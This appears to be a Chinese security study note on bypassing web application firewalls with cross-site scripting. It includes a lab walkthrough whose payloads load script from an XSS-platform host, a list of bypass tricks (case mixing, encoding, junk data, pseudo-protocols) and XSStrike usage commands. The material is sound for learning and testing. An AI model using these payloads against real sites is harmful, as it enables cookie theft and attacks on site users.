本文主要内容
常规WAF绕过思路
标签语法替换、特殊符号干扰、提交方式更改、
垃圾数据溢出、加密解密算法、结合其他漏洞绕过
关卡模拟
level1
../level1.php?name=<sCRiPt sRC='https://xss8.cc/duHr'>
../level1.php?name=<sCRiPt sRC='https://xss8.cc/duHr'/dadasadasd//////asdsad/////#>
通过XSS平台提供脚本,请求网址:https://xss.cc/duHrt,第一关输入:
--# 为啥这里能过审,有没有大神答疑
<sCRiPt sRC='https://xss8.cc/duHr'/dadadsadasd//////asdsad/////#>
WAF拦截了<> 防止出现跨站脚本,但是通过观察网络请求,发现发送了请求,但是403,说明部分内容传输错误,补全'https://xss8.cc/duHr' 请求正常发送,
第二个是特殊符号干扰,#注释了后面的内容,同时垃圾数据干扰>不被拦截
?name=<a/href=Java%0a%0d%09script&lcolon;alert(1)>click
针对网站的编码方式进行加解密算法
总结
XSS(跨站脚本攻击)绕过WAF(Web应用防火墙)的方式主要包括以下几种:
1. 标签和属性绕过
替换标签语法:常用的XSS标签(如
<script>
)容易被WAF拦截。可以尝试使用其他可执行JavaScript的标签,如<img>
、<svg>
、<iframe>
等。
示例:
</svg onload="alert(1)">
。 --# 应该不加/ 但是不加的话可能不过审(头大.)事件属性绕过:使用其他事件属性(如
onmouseover
、onclick
、onload
)来触发脚本。
示例:
</div onmouseover="alert(1)">Hover me</div>
。--# 同理2. 编码和混淆
编码绕过:对恶意脚本进行编码(如URL编码、Base64编码),以绕过WAF的关键词检测。
示例:将
<script>
编码为%3Cscript%3E
。大小写混淆:通过大小写混合的方式绕过WAF的检测。
示例:
<sCript>alert(1)</ScRiPt>
。双写绕过:通过重复关键字的方式绕过检测。
示例:
<<script>alert(1)</script>
。3. 绕过HTML注释符
利用HTML注释符(
<!--
和-->
)来绕过WAF的检测。
示例:
<!--<script>alert(1)</script>-->
。4. 垃圾数据填充
向WAF发送大量正常数据包并夹杂异常数据包,增加WAF的负担,使其降低检测精度。
将真正的payload放在大量垃圾数据的后面。
5. 更改提交方式
将GET请求改为POST请求,或者通过Cookie、HTTP Header等方式提交恶意脚本。
示例:如果后台使用
$_REQUEST
,可以通过Cookie或POST数据绕过WAF。6. 利用WAF配置不当
分析WAF的配置规则,寻找可能的漏洞或不当之处,如忽略某些类型的请求或参数。
利用旁站或子域名绕过WAF的防护。
7. 利用伪协议
利用HTML属性中的伪协议(如
javascript:
)来执行恶意脚本。
示例:
<a href="javascript:alert(1)">Click me</a>
。8. 利用CSS跨站
在某些情况下,利用CSS特性(如
expression()
)执行JavaScript代码。9. 利用全局变量和函数
利用JavaScript中的全局变量和函数(如
eval()
、window.onload
)来执行代码。10. 自动化工具
使用自动化工具(如XSStrike)来测试WAF的防护效果,并生成绕过WAF的payload。
自动化工具说明
XSStrike主要特点反射和DOM XSS扫描
网络安全-XSStrike中文手册(自学笔记)-CSDN博客https://blog.csdn.net/lady_killer9/article/details/109105084 遇事不决,fuzz大法,xssfuzzer.com 现在变成颜色网站了....(摸摸额头)
XSStrike 的主要功能和用途:
1. 自动检测
XSStrike 能够自动发现 Web 应用程序中的 XSS 漏洞,无需用户手动输入或指定漏洞的位置。
2. DOM 检测
该工具支持检测 DOM 型 XSS 漏洞,即基于客户端脚本操作 DOM 结构而产生的漏洞。
3. 自定义负载
用户可以使用自定义的负载进行攻击,这些负载可以根据漏洞的特点进行定制,提高攻击的成功率。
4. 绕过 WAF
XSStrike 具有绕过 Web 应用程序防火墙(WAF)的功能,从而有效地检测和利用 XSS 漏洞。
5. 报告生成
工具能够生成详细的报告,其中包括漏洞的位置、利用的负载、攻击的结果等信息,便于用户进行后续的分析和修复。
6. 漏洞利用
XSStrike 能够利用发现的 XSS 漏洞,执行任意 JavaScript 代码,例如窃取用户的会话 Cookie、重定向用户到恶意网站等行为。
7. 爬虫功能
XSStrike 内置爬虫功能,可以提取目标页面上所有存在的链接,并对这些链接进行 XSS 测试。
8. 模糊测试
XSStrike 集成了模糊测试引擎,能够对参数进行模糊测试并构建合适的 payload。
9. 支持多种请求方式
XSStrike 支持 GET 和 POST 请求方式,并且可以处理 JSON 格式的数据。
10. 低误报率
由于其智能的检测机制和精心构造的 payload,XSStrike 的误报率极低。
11. 其他高级功能
多线程爬取:支持多线程爬取,提高测试效率。
延迟和超时设置:可以设置请求之间的延迟时间和超时时间,以适应不同的测试场景。
代理支持:支持通过代理服务器发送请求。
盲 XSS 检测:在爬取过程中注入盲 XSS 负载。
使用示例
扫描 GET 请求的 URL
python3 xsstrike.py -u "http://example.com/search.php?q=query"
测试 POST 数据
python3 xsstrike.py -u "http://example.com/search.php" --data "q=query"
启用爬虫功能
python3 xsstrike.py -u "http://example.com/page.php" --crawl
绕过 WAF
python3 xsstrike.py -u "http://example.com/page.php" -e base64
安装方法
下载 XSStrike
git clone https://github.com/s0md3v/XSStrike.git
进入目录并安装依赖
cd XSStrike pip3 install -r requirements.txt
运行工具
python3 xsstrike.py